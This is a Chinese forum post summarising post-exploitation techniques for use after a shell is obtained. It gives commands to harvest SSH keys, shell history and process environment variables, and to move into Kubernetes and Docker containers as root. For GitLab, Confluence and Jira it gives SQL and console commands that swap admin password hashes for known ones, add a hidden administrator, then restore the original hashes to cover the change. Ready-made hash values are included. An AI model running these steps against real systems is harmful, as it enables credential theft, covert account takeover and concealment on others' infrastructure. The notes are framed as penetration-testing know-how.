ToB企服应用市场:ToB评测及商务社交产业平台

标题: 一些渗透后利用小结 [打印本页]
作者: 风雨同行    时间: 2024-4-11 04:51
标题: 一些渗透后利用小结
内网主机信息收集

在项目中有遇到拿到shell的情况下，看到主机名是gitlab或者是什么gitserver，通常都有k8s或者docker服务，先判断是本机启动的服务还是容器里面启动的服务，然后再到对应的地方找配置文件和数据库之类的，然后可以到应用内去找有价值的东西
可以看～/.ssh/底下的文件，有没有id_rsa，或者是看known_hosts曾经连接过一些什么机器，再看看/etc/hosts有没有给其他机器添加了解析，还有各种历史记录和配置文件也值得留意
  1. ~/.ssh/
  2. ~/.bash_history
  3. /etc/hosts
  4. ss -tl[n]        #加-n参数不显示服务名，纯端口号
  5. netstat -anp
  6. ps -auxf / ps -ef                 看进程启动命令
  7. cat /proc/pid/environ         进程启动环境变量
  8. cat /proc/pid/cmdline         进程启动命令
  9. ls -al /proc/pid/exe        进程可执行文件符号连接
  10. ls -al /proc/pid/fd                进程打开的文件（file descriptor）
复制代码
K8S

当你在master节点，k8s也可以像docker一样exec
  1. kubectl get pods   #查看所有正在运行的pod
  3. NAME                            READY     STATUS    RESTARTS   AGE
  4. nginx-56b8c64cb4-t97vb          1/1       Running   3          1d
  6. kubectl exec -it nginx-56b8c64cb4-t97vb -- /bin/bash        #假如当前pod只有一个容器,运行以下命令即可
  8. <3>假如一个pod里有多个容器,用--container or -c 参数。例如:假如这里有个Pod名为my-pod,这个Pod有两个容器,分别名为main-app 和 helper-app,下面的命令将打开到main-app的shell的容器里。
  10. kubectl exec -it my-pod --container main-app -- /bin/bash
复制代码
但是很多时候exec进去都不是root账户，这个时候我们需要找到实际启动容器的机器去
  1. # 先找到pod的名称
  2. kubectl get pods                                                        # 获取容器
  3. kubectl get pods xxxx-xxx-001                                # 查看容器信息
  4. kubectl get pods [-n] xxxx-xxx-001 -o wide                # 定位节点机器，输入-n会报错
  5. # ssh到pod所在的节点
  6. ssh k8s-node2                                                                                        # ssh连接
  7. docker ps -a | grep xxxx-xxx-001                                                # 查看docker容器
  8. docker exec -it -u root [CONTAINER_ID] /bin/bash                # exec进入容器
复制代码
GitLab

代码仓库，看有没有重要系统的源码打包弄出来做代审
初始密码

Gitlab 14安装初始化后，默认账户名是root,密码存放在配置文件
/etc/gitlab/initial_root_password
这个文件将在首次执行reconfigure后24小时自动删除，文件内容：
  1. [root@gitlab ~]# cat /etc/gitlab/initial_root_password
  2. # WARNING: This value is valid only in the following conditions
  3. #          1. If provided manually (either via `GITLAB_ROOT_PASSWORD` environment variable or via `gitlab_rails['initial_root_password']` setting in `gitlab.rb`, it was provided before database was seeded for the first time (usually, the first reconfigure run).
  4. #          2. Password hasn't been changed manually, either via UI or via command line.
  5. #
  6. #          If the password shown here doesn't work, you must reset the admin password following https://docs.gitlab.com/ee/security/reset_user_password.html#reset-your-root-password.
  8. Password: NdaWiHzufnlWDshXY+xI52q4Br0x2O+mAsTeU6V1694=
  10. # NOTE: This file will be automatically deleted in the first reconfigure run after 24 hours.
复制代码
修改管理员密码

默认数据库应用是PostgreSQL，数据库是gitlabhq_production，表是users，管理员默认的id是1，用户名是root
通常docker拉起的gitlab都会有gitlab-rails，gitlab-psql一系列的应用

不考虑改回密码的情况
  1. gitlab-rails console
  3. user = User.find(1)
  4. new_password = 'Aa12345678!'
  5. user.password = new_password
  6. user.password_confirmation = new_password
  7. user.save!
  8. user.attributes
  10. 得到Aa12345678!密文就是这个，后面能用到
  11. "encrypted_password"=>"$2a$10$n6EWnwDjlab2YXrTc5ZdGu2OkwnE25qVS/tG2nHsvPGze5iPD317G"
复制代码


考虑改回密码的情况

设置新密码为Aa12345678!，记得先查询一次保存旧密码的密文
  1. gitlab-psql
  3. \l
  4. \c gitlabhq_production
  5. select id,encrypted_password,name,username,admin from users where id=1;
  7. -- 这一步是将密码更新为Aa12345678!
  8. update users set encrypted_password='$2a$10$n6EWnwDjlab2YXrTc5ZdGu2OkwnE25qVS/tG2nHsvPGze5iPD317G' where id=1;
  10. -- 这一步是恢复旧密码的密文
  11. update users set encrypted_password='$2a$************************************vyy' where id=1;
复制代码


Confluence

知识库系统，可以看有没有信息泄漏之类的东西
https://www.jianshu.com/p/7cc8ea59578a
默认配置文件位置：Linux：
  1. /var/atlassian/application/data/confluence/confluence.cfg.xml
复制代码
Windows：
  1. C:/Atlassian/Application/Data/Confluence/confluence.cfg.xml
复制代码
数据库操作
  1. mysql -uroot -pRadBank@530
  2. show databases;
  3. use confluence;
  4. select id,user_name,active,email_address,credential from cwd_user;
  6. -- 在数据库里面查看管理员用户
  7. select u.id, u.user_name, u.active from cwd_user u  
  8. join cwd_membership m on u.id=m.child_user_id join cwd_group g on m.parent_id=g.id join cwd_directory d on d.id=g.directory_id  
  9. where g.group_name = 'confluence-administrators' and d.directory_name='Confluence Internal Directory';  
  11. -- 记得存一下原始密码
  12. -- {PKCS5S2}xPqJ5enH/NPJfOyO2vUiQgoF0pRLl9R+HwxWC9zG3OjOXJbapmEl0+bEz/MelyLJ
  13. -- 原始密码明文是123456
  15. -- 无{PKCS5S2}的，更改密码为sphere
  16. update cwd_user set credential='uQieO/1CGMUIXXftw3ynrsaYLShI+GTcPS4LdUGWbIusFvHPfUzD7CZvms6yMMvA8I7FViHVEqr6Mj4pCLKAFQ==' where user_name='XXXX';
  18. -- 有{PKCS5S2}的，更改密码为123456
  19. update cwd_user set credential='{PKCS5S2}ms9AdSR9vnOXqnNdEmRG/kxRc22qTnx3Y/nwdyaNEg5/XAANouQ+akxcQbFjJiQ4' where user_name='XXXX';
  21. -- 密码是{PKCS5S2}前缀开头的，则用下面这个sql，这个管理员密码为 Ab123456
  22. update cwd_user set credential='{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where id=xxxxxx;
复制代码

用已知的密文进行替换
将管理员用户的密码修改为目前已知的明文密码的密文（不能直接在数据库中添加字段，否则在单个表中添加字段可能会出现问题）。
修改密码后，登陆后台，添加用户并将其加入管理员组。
最后，将管理员密码还原回去。
更改密码
登录后台——>用户管理——>添加用户——>加管理员组——>还原admin密码
参考文章：confluence后利用
Jira

项目与事务跟踪工具，经常和confluence一起出现
  1. mysql -uroot -pRadBank@530
  2. show databases;
  3. -- Jira数据库中，用户信息都存放在表 cwd_user中
  4. -- 切换到jiar数据库
  5. -- CREDENTIAL字段是加密后的密码
  6. use jiradb;
  7. -- 看看管理员用户信息，待会会用到
  8. select id,user_name,active,email_address,credential from cwd_user;
  10. -- 记得保存原始密码，信息收集完成之后改回
  11. -- {PKCS5S2}dVBfve2TpngECXqQfQJJlnnfC9WwDB25vCaXlxvSy67m/Tv6NVNi29ON0PX5vvf0
  12. -- 这个密码的明文也是123456
  14. -- 无{PKCS5S2}的，更改密码为sphere
  15. update cwd_user set credential='uQieO/1CGMUIXXftw3ynrsaYLShI+GTcPS4LdUGWbIusFvHPfUzD7CZvms6yMMvA8I7FViHVEqr6Mj4pCLKAFQ==' where user_name='XXXX';
  17. -- 有{PKCS5S2}的，更改密码为123456
  18. update cwd_user set credential='{PKCS5S2}ms9AdSR9vnOXqnNdEmRG/kxRc22qTnx3Y/nwdyaNEg5/XAANouQ+akxcQbFjJiQ4' where user_name='XXXX';
  20. -- 有{PKCS5S2}的，更改密码为Ab123456
  21. update cwd_user set credential='{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where id=xxxxxx;
  23. -- 最后记得复原密码
  24. update cwd_user set credential='初始密码' where user_name='XXXX';
复制代码


免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！



欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4